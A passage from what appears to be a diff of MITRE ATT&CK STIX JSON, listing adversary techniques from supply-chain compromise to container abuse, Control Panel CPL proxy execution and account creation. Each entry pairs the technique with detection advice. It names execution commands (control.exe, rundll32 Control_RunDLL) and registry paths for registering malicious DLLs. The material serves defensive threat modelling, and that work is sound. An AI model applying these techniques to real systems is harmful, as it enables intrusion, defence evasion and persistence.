compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1584", + "external_id": "T1584", + "source_name": "mitre-attack" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "url": "https://www.icann.org/groups/ssac/documents/sac-007-en", + "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.", + "source_name": "ICANNDomainNameHijacking" + }, + { + "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html", + "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.", + "source_name": "Talos DNSpionage Nov 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "source_name": "FireEye EPS Awakens Part 2" + }, + { + "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf", + "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.", + "source_name": "NSA NCSC Turla OilRig" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + }, + { + "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.", + "source_name": "Mandiant SCANdalous Jul 2020" + }, + { + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "source_name": "Koczwara Beacon Hunting Sep 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Compromise Software Dependencies and Development Tools", + "x_mitre_version": "1.0", + "modified": "2020-03-11T14:13:42.916Z", + "created": "2020-03-11T14:13:42.916Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720", + "description": "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1195/001", + "external_id": "T1195.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets", + "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.", + "source_name": "Trendmicro NPM Compromise" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-11T14:17:21.153Z", + "name": "Compromise Software Supply Chain", + "x_mitre_version": "1.0", + "created": "2020-03-11T14:17:21.153Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", + "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1195/002", + "external_id": "T1195.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Avast CCleaner3 2018", + "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.", + "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities" + }, + { + "source_name": "Command Five SK 2011", + "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.", + "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Confluence", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-06-08T17:08:08.386Z", + "created": "2020-02-14T13:09:51.004Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc", + "description": "\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Monitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1213/001", + "external_id": "T1213.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Atlassian Confluence Logging", + "description": "Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Container API", + "x_mitre_data_sources": [ + "Command: Command Execution", + "File: File Access", + "User Account: User Account Authentication" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-12T18:20:31.636Z", + "created": "2021-03-31T14:01:52.321Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Jay Chen, Palo Alto Networks", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1552/007", + "external_id": "T1552.007", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.docker.com/engine/api/v1.41/", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.", + "source_name": "Docker API" + }, + { + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", + "source_name": "Kubernetes API" + }, + { + "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/", + "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", + "source_name": "Unit 42 Unsecured Docker Daemons" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Container Administration Command", + "x_mitre_data_sources": [ + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-14T12:01:10.545Z", + "created": "2021-03-29T16:39:26.183Z", + "x_mitre_remote_support": true, + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", + "description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_contributors": [ + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Brad Geesaman, @bradgeesaman", + "Center for Threat-Informed Defense (CTID)", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_detection": "Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1609", + "external_id": "T1609", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.docker.com/engine/reference/commandline/dockerd/", + "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.", + "source_name": "Docker Daemon CLI" + }, + { + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", + "source_name": "Kubernetes API" + }, + { + "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/", + "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.", + "source_name": "Kubernetes Kubelet" + }, + { + "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime", + "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.", + "source_name": "Docker Entrypoint" + }, + { + "url": "https://docs.docker.com/engine/reference/commandline/exec/", + "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.", + "source_name": "Docker Exec" + }, + { + "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/", + "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.", + "source_name": "Kubectl Exec Get Shell" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Container Orchestration Job", + "x_mitre_data_sources": [ + "Scheduled Job: Scheduled Job Creation", + "Container: Container Creation", + "File: File Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-07-27T17:38:17.146Z", + "created": "2021-03-29T17:06:22.247Z", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], + "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1053/007", + "external_id": "T1053.007", + "source_name": "mitre-attack" + }, + { + "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/", + "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.", + "source_name": "Kubernetes Jobs" + }, + { + "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", + "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.", + "source_name": "Kubernetes CronJob" + }, + { + "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.", + "source_name": "Threat Matrix for Kubernetes" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Container and Resource Discovery", + "x_mitre_data_sources": [ + "Cluster: Cluster Metadata", + "Container: Container Enumeration", + "Container: Container Metadata", + "Pod: Pod Enumeration", + "Pod: Pod Metadata", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-12T18:22:05.737Z", + "created": "2021-03-31T14:26:00.848Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ", + "x_mitre_contributors": [ + "Vishwas Manral, McAfee", + "Center for Threat-Informed Defense (CTID)", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1613", + "external_id": "T1613", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.docker.com/engine/api/v1.41/", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.", + "source_name": "Docker API" + }, + { + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", + "source_name": "Kubernetes API" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Control Panel", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "Module: Module Load", + "Process: OS API Execution", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_version": "1.1", + "modified": "2020-10-21T18:37:11.672Z", + "created": "2020-01-23T19:59:52.630Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f", + "x_mitre_defense_bypassed": [ + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)", + "x_mitre_contributors": [ + "ESET" + ], + "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace and HKEY_CLASSES_ROOT\\CLSID\\{GUID}. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the CPLs and Extended Properties Registry keys of HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);) or from a command line (control.exe /name {Canonical_Name}).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218/002", + "external_id": "T1218.002", + "source_name": "mitre-attack" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx", + "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", + "source_name": "Microsoft Implementing CPL" + }, + { + "source_name": "TrendMicro CPL Malware Jan 2014", + "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" + }, + { + "source_name": "TrendMicro CPL Malware Dec 2013", + "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/" + }, + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", + "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.", + "source_name": "ESET InvisiMole June 2020" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T18:59:21.682Z", + "name": "Control Panel Items", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1196", + "external_id": "T1196", + "source_name": "mitre-attack" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx", + "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.", + "source_name": "Microsoft Implementing CPL" + }, + { + "source_name": "TrendMicro CPL Malware Jan 2014", + "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" + }, + { + "source_name": "TrendMicro CPL Malware Dec 2013", + "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/" + }, + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Create Account", + "x_mitre_data_sources": [ + "User Account: User Account Creation", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "2.2", + "modified": "2021-08-12T13:04:14.534Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "IaaS", + "Linux", + "macOS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator" + ], + "description": "Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Praetorian" + ], + "x_mitre_detection": "Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1136", + "external_id": "T1136", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", + "source_name": "Microsoft User Creation Event" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Create Cloud Instance", + "x_mitre_data_sources": [ + "Instance: Instance Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-03-08T10:33:02.034Z", + "created": "2020-05-14T14:45:15.978Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c", + "description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "The creation of a new instance or VM is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, the creation of an instance by a new user account or the unexpected 